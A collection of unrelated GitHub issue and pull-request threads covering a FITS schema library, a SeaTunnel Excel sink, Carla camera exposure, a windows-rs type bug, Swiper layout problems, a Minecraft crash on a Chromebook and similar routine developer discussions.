getDataLen: add a function to calculate data length for any HDU type (hopefully)
BlockBoundaries: scan all blocks of a file using the generic getDataLen function
(some commented debug prints that will be removed later on)
FitsSchema>
ListOfStruct: Introduce a generic detection of Header structure
Plus some boolean functions to check specific Header types
checkAnyHeader
checkBintableHeader
checkImageHeader
TODO>
Define the schema for Image
Define the schema for (ASCII)Table
CA.

Great, thanks!
Would be nice to add a few unit tests related to this PR?
Just to check new additions run as expected.

Codecov Report

Merging #29 into master will decrease coverage by 0.54%.
The diff coverage is 78.26%.

@@            Coverage Diff             @@
##           master      #29      +/-   ##
==========================================
- Coverage   84.89%   84.34%   -0.55%
==========================================
  Files           6        6
  Lines         417      428      +11
  Branches       75       78       +3
==========================================
+ Hits          354      361       +7
- Misses         63       67       +4

Impacted Files
Coverage Δ

src/main/scala/com/sparkfits/FitsSchema.scala
75% <72.72%> (-6.49%)
:arrow_down:

src/main/scala/com/sparkfits/FitsLib.scala
90.56% <83.33%> (-0.53%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f615d51...9a80be7. Read the comment docs.


[Feature][ConnectorV2] add [File]excel sink

Purpose of this pull request
add [File]excel sink
https://github.com/apache/incubator-seatunnel/issues/1946

Check list

[x] Code changed are covered with tests, or it does not need tests for reason:
[x] If any new Jar binary package adding in your PR, please add License Notice according
New License Guide
[x] If necessary, please update the documentation to describe the new feature. https://github.com/apache/incubator-seatunnel/tree/dev/docs

Check style fail. you can run ./mvnw checkstyle:check check in your local env.

Can you add connector-v2 e2e-testcase?
reference：
https://github.com/apache/incubator-seatunnel/tree/dev/seatunnel-e2e/seatunnel-flink-connector-v2-e2e
https://github.com/apache/incubator-seatunnel/tree/dev/seatunnel-e2e/seatunnel-spark-connector-v2-e2e

Can you add connector-v2 e2e-testcase?
reference： https://github.com/apache/incubator-seatunnel/tree/dev/seatunnel-e2e/seatunnel-flink-connector-v2-e2e/src/test/java/org/apache/seatunnel/e2e/flink/v2 https://github.com/apache/incubator-seatunnel/tree/dev/seatunnel-e2e/seatunnel-spark-connector-v2-e2e/src/test/java/org/apache/seatunnel/e2e/spark/v2

Okay, I'll add it later

I've already added it

Can you add connector-v2 e2e-testcase?
reference： https://github.com/apache/incubator-seatunnel/tree/dev/seatunnel-e2e/seatunnel-flink-connector-v2-e2e/src/test/java/org/apache/seatunnel/e2e/flink/v2 https://github.com/apache/incubator-seatunnel/tree/dev/seatunnel-e2e/seatunnel-spark-connector-v2-e2e/src/test/java/org/apache/seatunnel/e2e/spark/v2

I've already added it


exposure-mode auto - which gamma finally used

Question:
You set in Carla 0.9.10 the camera exposure-mode to histogram. From documentation I learned
"Auto exposure Modifies the image gamma to simulate the eye adaptation to darker or brighter areas."
When I render finally the images I read camera attributes, but it seems the gamma value is not changed, even if I see in my scene (no movement static position) that the images are getting darker - so the auto feature seems to be active.
Is there a chance to get current used parameter of the camera like gamma or exposure time? If not, this would be a feature request.
Thanks in advance
Matthias

@mawi42 thanks for your patience
@DSantosO could you have a look at this please

Hello, is there any update on this issue?


Add Sort by Relavancy to /search page

This is with regard to the discussion at, https://github.com/opencollective/opencollective/issues/4295#issuecomment-1109585001.
It was decided to add sort by Relavancy back to the /search page. This could overcome problems such as the one mentioned, https://opencollective.slack.com/archives/C035S573ZD2/p1650703042630149 and https://opencollective.slack.com/archives/C035S573ZD2/p1650842042673579 and https://opencollective.slack.com/archives/C035S573ZD2/p1650849511764859 since the ACTIVITY sort do not sometimes get the most relevant results on top.

Which one should be the default, relevancy or activity?

Which one should be the default, relevancy or activity?

At the moment we are not changing the default; so we are keeping activity as the default. I had the same question here; https://opencollective.slack.com/archives/D01EA8GBHEZ/p1651000482477979?thread_ts=1650998928.592899&cid=D01EA8GBHEZ.

om/archives/D01EA8GBHEZ/p1651000482477979?thread_ts=1650998928.592899&cid=D01EA8GBHEZ.

This link doesn't seem to work for me, maybe a channel I don't have access to?

om/archives/D01EA8GBHEZ/p1651000482477979?thread_ts=1650998928.592899&cid=D01EA8GBHEZ.

This link doesn't seem to work for me, maybe a channel I don't have access to?

Ops, this was discussed on a private thread with Francois. Anyways, the idea is keeping the default and only add the "relavancy" filter so that issues like this, https://opencollective.slack.com/archives/C035S573ZD2/p1650850178795839. I think in the future we can look into modifying the activity sort to include some frequency measurement as suggested there. But I think for now we are just adding the relevancy filter. 🤔


add OData Server to ecosystem/producers

Added "OData Server" item to producers page

Hi, the link in the file seems to be invalid. Could you please double check it? Thanks.

Hi, it's my fault :(
Fix route locale param position in link.


Fix syntax error

I am getting a syntax error on line 70, this resolves it for me. I'm no shell scripting expert, though, so it's possible this is not the right solution.

I see, this is an issue with the version of the shell I was trying to use. Plz to ignore.


Bug: D3D12_COMMAND_QUEUE_DESC::Priority is i32 instead of D3D12_COMMAND_QUEUE_PRIORITY

Which crate is this about?
windows
Crate version
0.48.0
Summary
The type of windows::Win32::Graphics::Direct3D12::D3D12_COMMAND_QUEUE_DESC::Priority should be windows::Win32::Graphics::Direct3D12::D3D12_COMMAND_QUEUE_PRIORITY instead of i32.
Toolchain version/configuration
Default host: x86_64-pc-windows-msvc
rustup home:  C:\Users\sydcgbw.rustup
stable-x86_64-pc-windows-msvc (default)
rustc 1.69.0 (84c898d65 2023-04-16)
Reproducible example
use windows::Win32::Graphics::Direct3D12::*;

fn main()
{
    let CommandQueueDesc = D3D12_COMMAND_QUEUE_DESC
    {
        Type: D3D12_COMMAND_LIST_TYPE_NONE,
        Priority: D3D12_COMMAND_QUEUE_PRIORITY_NORMAL,
        Flags: D3D12_COMMAND_QUEUE_FLAG_NONE,
        NodeMask: 0
    };
}

Crate manifest
# ...

[dependencies.windows]
version = "0.48.0"
features = [
    "Win32_Graphics_Direct3D12"
]

Expected behavior
No error
Actual behavior
mismatched types
expected i32, found D3D12_COMMAND_QUEUE_PRIORITY
Additional comments
No response

Seems related to https://github.com/microsoft/win32metadata/issues/1573 - I can transfer to the metadata repo for consideration.


sap_general_preconfigure fails on SLES 15

The task Rename user sap_preconfigure variables if found, generic within the role sap_general_preconfigure role fails on SLES 15 with following error:
FAILED! => {"msg": "The task includes an option with an undefined variable. The error was: {{ __sap_general_preconfigure_packagegroups }}: '__sap_general_preconfigure_packagegroups' is undefined

This error appears to happen because the variable sap_general_preconfigure_packagegroups in roles/sap_general_preconfigure/defaults/main.yml is set using the value of __sap_general_preconfigure_packagegroups.  However, when using SLES15 the variable __sap_general_preconfigure_packagegroups is never defined.
The same is true of the variables __sap_general_preconfigure_envgroups & __sap_general_preconfigure_kernel_parameters_default.
I will create a fix and a PR for this which is simply defining the variables in the file roles/sap_general_preconfigure/vars/SLES_15.yml.

Great Steven, thanks. That is exactly where should go. Especially default kernel parameters could be defined in SLES15, unless you are triggering saptune instead. The other two are probably RedHat specific.


Cell Recursive Delete API bug fix

Problem
Executing Cell Recursive Delete API does not delete OData in cell.

This issue has been resolved in v1.4.5.


[Icon Request] CircleCI folder

CircleCI released v2 of their CI. With that the config now moves into a folder called .circleci instead of the old circle.yml

[x] I'm sure this issue is not a duplicate?
[x] I want to create an icon request(if not, remove these lines below):
- Type: folder
- Icon Name: circleci
- Sample original Icon (32x32/svg/transparent whenever possible): https://github.com/vscode-icons/vscode-icons/blob/master/icons/file_type_circleci.svg
- Extensions: .circleci

Moved to #650.


⚠ TorrentLeech has degraded performance

In 32f66d9, TorrentLeech ($TL) experienced degraded performance:

HTTP code: 200
Response time: 6294 ms

Resolved: TorrentLeech performance has improved in 7fad3cb after 19 minutes.


vertical mode fully unusable inside flexed parents, even if current element is an auto height. The spacing between thumbs grows with each resize.

This is a (multiple allowed):

[x] bug

[ ] enhancement

[ ] feature-discussion (RFC)

Swiper Version: 4.4.2

Platform/Target and Browser Versions: Chrome up to date as of today
Version 70.0.3538.102 (Official Build) (64-bit)

Live Link or JSFiddle/Codepen or website with isssue: PREFERABLY (IF YOU WANT YOUR ISSUE TO BE RESOLVED ASAP).

https://jsfiddle.net/gr5jwLbe/
What you did
Created a vertical swiper with minimal configs inside of a bootstrap column, or flexed parent but in a child that does not fill up to the height of its parent.
Expected Behavior
The swiper should calculate the right heights for the slides. If 4 slides are to appear, 4 should appear without 1000px of whitespace (after you resize a few times).
Actual Behavior
The swiper shows lots of whitespace between slides.
The extra whitespace grows exponentially as you resize the browser.
Please note I've spent many hours debugging and trying to fix via forcing heights, guaranteeing that the swiper parent is not flexed to full height, etc.
My solution current is calculating the height of the slides and wrapper myself on resize, but is very weak.

Hi guys,
I have the same issue as yuchant.
Also there is the problem if you ser 1 item for slidePerView option. Slide got full height, you can see 2 items instead of one and sliding are messed up.
Best regards,
Nenad

I'm having the same issue. What is the solution to this?

Because, based on what it should know/limit its height? You need to have height fixed for vertical swiper so it can be calculated, e.g. fixed value like px or relative like vh/w or other ones

Why can't it determine that these images are 100 pixels tall?
https://jsfiddle.net/gr5jwLbe/
If some CSS made the image max-width: 50px, we'd still be able to see that $("img").height() is 50. Thanks for any help!!


No longer working in .yml files

on:
  push:
    branches:
      - 'develop'
      - 'main'
      - 'release/staging'
      - 'release/qa'
      # ! DON'T FORGET TO UNDO!!!

Expected behavior:
Everything from # ! onwards should be red
Actual behavior:
The whole comment is gray (default comment color)

Does vscode correctly identified as yaml?
If yes, please give me more info to debug. Because this issue doesn't reproduce on my computer

Yes. I use the YAML extension from Red Hat: https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml
The file is a regular GitHub Workflow definition. The original extension handles it still.
Better Comments Next

Better Comments

better-comments-next only match comment begin with one space/tab to avoid match mistake. See https://github.com/edwinhuish/better-comments-next/issues/2#issuecomment-1868548243


add stream::peekable

Currently everything is breaking. I am still trying to figure out the type. I guess that peek should return a Future
pub fn peak(&mut self) -> &PeekFuture<Option<Self::Item>>
ref #129

@starsheriff ping; just checking in if there's anything we can do to help unblock you. I'd very much would like to see this PR land!

@starsheriff ping; just checking in if there's anything we can do to help unblock you. I'd very much would like to see this PR land!

The comments I got helped a lot already. Haven't had the time the last days to work on it but will pick it up again now. I will ask if I need more help.

@starsheriff  The peek seem to be diffcult to impl. And if things are async, I think the peek is not very
useful.


[SLAM] Add support for get relocalization pose

Fix #156
@DonnaWuDongxia , PTAL.

Looks good to me and merging.


sample code: Provide endpoint descriptions and summaries for minimal APIs

See Provide endpoint descriptions and summaries for minimal APIs
and write sample code in https://github.com/dotnet/AspNetCore.Docs/tree/main/aspnetcore/fundamentals/minimal-apis/endpoint-description-summary/7.0-samples
then delete https://github.com/dotnet/AspNetCore.Docs/blob/main/aspnetcore/fundamentals/minimal-apis/endpoint-description-summary/7.0-samples/ReadMe.md
cc @fiyazbinhasan

on it! :)

@Rick-Anderson There seems to be an issue with OpenAPI support. I can't see any summary or description,

ok I can see there is an opened issue for this https://github.com/dotnet/aspnetcore/issues/40753

We'll have to wait.
using Microsoft.AspNetCore.OpenApi;

var builder = WebApplication.CreateBuilder(args);

builder.Services.AddEndpointsApiExplorer();
builder.Services.AddSwaggerGen();

var app = builder.Build();

if (app.Environment.IsDevelopment())
{
    app.UseSwagger();
    app.UseSwaggerUI();
}

app.UseHttpsRedirection();

var summaries = new[]
{
    "Freezing", "Bracing", "Chilly", "Cool", "Mild", "Warm", "Balmy", "Hot", "Sweltering", "Scorching"
};

app.MapGet("/", [EndpointSummary("Sends a Hello request to the backend")]   // <----
[EndpointDescription("Description: Sends hello request")] () => "Hello World!");   // <----

app.MapGet("/weatherforecast", () =>
{
    var forecast = Enumerable.Range(1, 5).Select(index =>
        new WeatherForecast
        (
            DateTime.Now.AddDays(index),
            Random.Shared.Next(-20, 55),
            summaries[Random.Shared.Next(summaries.Length)]
        ))
        .ToArray();
    return forecast;
})
.WithDescription("Description:Sends the weather forcast.")         // <----
.WithSummary("Summary: Sends the weather forcast.")   // <----
.WithName("GetWeatherForecast")
.WithOpenApi();

app.Run();

internal record WeatherForecast(DateTime Date, int TemperatureC, string? Summary)
{
    public int TemperatureF => 32 + (int)(TemperatureC / 0.5556);
}


Automate merging minor changed PR's by a merge robot

Given the fact that brew is huge and is actively contributed by people, It would be cool to automate merging minor changed formulas. For example:  this PR has changed only sha256 and version part of the url. I believe that merging such kind of PR's can be automated. For such a very very minor changes a verification process can be run and than merge it.
What do you think?

This is something that sounds simple but would be very complex. Additionally, we prefer to have human verification as it doesn't take long.


minecraft crashes when i try to run it with ubuntu 14 on my chromebook flip

i tried to install and run minecraft and everything was working perfectly until i hit play on the launcher screen and it crashed with this crash report:
[00:00:38 INFO]: Launching game
[00:00:38 INFO]: Unpacking natives to /home/andysam151/.minecraft/versions/1.9.4/1.9.4-natives-2772957460612
[00:00:39 INFO]: Launching in /home/andysam151/.minecraft
[00:00:39 INFO]: Half command: /usr/lib/jvm/java-7-openjdk-armhf/jre/bin/java -Xmx1G -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:-UseAdaptiveSizePolicy -Xmn128M -Djava.library.path=/home/andysam151/.minecraft/versions/1.9.4/1.9.4-natives-2772957460612 -cp /home/andysam151/.minecraft/libraries/com/mojang/netty/1.6/netty-1.6.jar:/home/andysam151/.minecraft/libraries/oshi-project/oshi-core/1.1/oshi-core-1.1.jar:/home/andysam151/.minecraft/libraries/net/java/dev/jna/jna/3.4.0/jna-3.4.0.jar:/home/andysam151/.minecraft/libraries/net/java/dev/jna/platform/3.4.0/platform-3.4.0.jar:/home/andysam151/.minecraft/libraries/com/ibm/icu/icu4j-core-mojang/51.2/icu4j-core-mojang-51.2.jar:/home/andysam151/.minecraft/libraries/net/sf/jopt-simple/jopt-simple/4.6/jopt-simple-4.6.jar:/home/andysam151/.minecraft/libraries/com/paulscode/codecjorbis/20101023/codecjorbis-20101023.jar:/home/andysam151/.minecraft/libraries/com/paulscode/codecwav/20101023/codecwav-20101023.jar:/home/andysam151/.minecraft/libraries/com/paulscode/libraryjavasound/20101123/libraryjavasound-20101123.jar:/home/andysam151/.minecraft/libraries/com/paulscode/librarylwjglopenal/20100824/librarylwjglopenal-20100824.jar:/home/andysam151/.minecraft/libraries/com/paulscode/soundsystem/20120107/soundsystem-20120107.jar:/home/andysam151/.minecraft/libraries/io/netty/netty-all/4.0.23.Final/netty-all-4.0.23.Final.jar:/home/andysam151/.minecraft/libraries/com/google/guava/guava/17.0/guava-17.0.jar:/home/andysam151/.minecraft/libraries/org/apache/commons/commons-lang3/3.3.2/commons-lang3-3.3.2.jar:/home/andysam151/.minecraft/libraries/commons-io/commons-io/2.4/commons-io-2.4.jar:/home/andysam151/.minecraft/libraries/commons-codec/commons-codec/1.9/commons-codec-1.9.jar:/home/andysam151/.minecraft/libraries/net/java/jinput/jinput/2.0.5/jinput-2.0.5.jar:/home/andysam151/.minecraft/libraries/net/java/jutils/jutils/1.0.0/jutils-1.0.0.jar:/home/andysam151/.minecraft/libraries/com/google/code/gson/gson/2.2.4/gson-2.2.4.jar:/home/andysam151/.minecraft/libraries/com/mojang/authlib/1.5.22/authlib-1.5.22.jar:/home/andysam151/.minecraft/libraries/com/mojang/realms/1.8.19/realms-1.8.19.jar:/home/andysam151/.minecraft/libraries/org/apache/commons/commons-compress/1.8.1/commons-compress-1.8.1.jar:/home/andysam151/.minecraft/libraries/org/apache/httpcomponents/httpclient/4.3.3/httpclient-4.3.3.jar:/home/andysam151/.minecraft/libraries/commons-logging/commons-logging/1.1.3/commons-logging-1.1.3.jar:/home/andysam151/.minecraft/libraries/org/apache/httpcomponents/httpcore/4.3.2/httpcore-4.3.2.jar:/home/andysam151/.minecraft/libraries/it/unimi/dsi/fastutil/7.0.12_mojang/fastutil-7.0.12_mojang.jar:/home/andysam151/.minecraft/libraries/org/apache/logging/log4j/log4j-api/2.0-beta9/log4j-api-2.0-beta9.jar:/home/andysam151/.minecraft/libraries/org/apache/logging/log4j/log4j-core/2.0-beta9/log4j-core-2.0-beta9.jar:/home/andysam151/.minecraft/libraries/org/lwjgl/lwjgl/lwjgl/2.9.4-nightly-20150209/lwjgl-2.9.4-nightly-20150209.jar:/home/andysam151/.minecraft/libraries/org/lwjgl/lwjgl/lwjgl_util/2.9.4-nightly-20150209/lwjgl_util-2.9.4-nightly-20150209.jar:/home/andysam151/.minecraft/versions/1.9.4/1.9.4.jar net.minecraft.client.main.Main
[00:00:39 INFO]: Looking for orphaned versions to clean up...
[00:00:39 INFO]: Looking for old natives & assets to clean up...
[00:01:06 ERROR]: Game ended with bad state (exit code 1)
[00:01:06 INFO]: Ignoring visibility rule and showing launcher due to a game crash
[00:01:06 INFO]: Deleting /home/andysam151/.minecraft/versions/1.9.4/1.9.4-natives-2772957460612
please help i love minecraft

This has nothing to do with crouton... I've never known this issue with Minecraft. How did you install Minecraft?

This has nothing to do with crouton, only crouton issues are supposed to be brought up here.

@andysam151 You should try somewhere that discusses Linux based Minecraft issues.


Google MobileAds / Bad BaseType for the SearchRequest interface

The issue and the solution are described here :
https://forums.xamarin.com/discussion/61831/google-mobile-ads-ios-unable-to-load-searchrequest#latest

Hi @scordonnier.
Thanks for leaving a sample code and the solution too in Xamarin Forums, I'll review the code and, if everything looks ok, I'll apply the solution.

Waiting for approval of Pull request #7 to fix this issue.

Pull request #7 accepted, fix will be available on G.MobileAds v<IP_ADDRESS>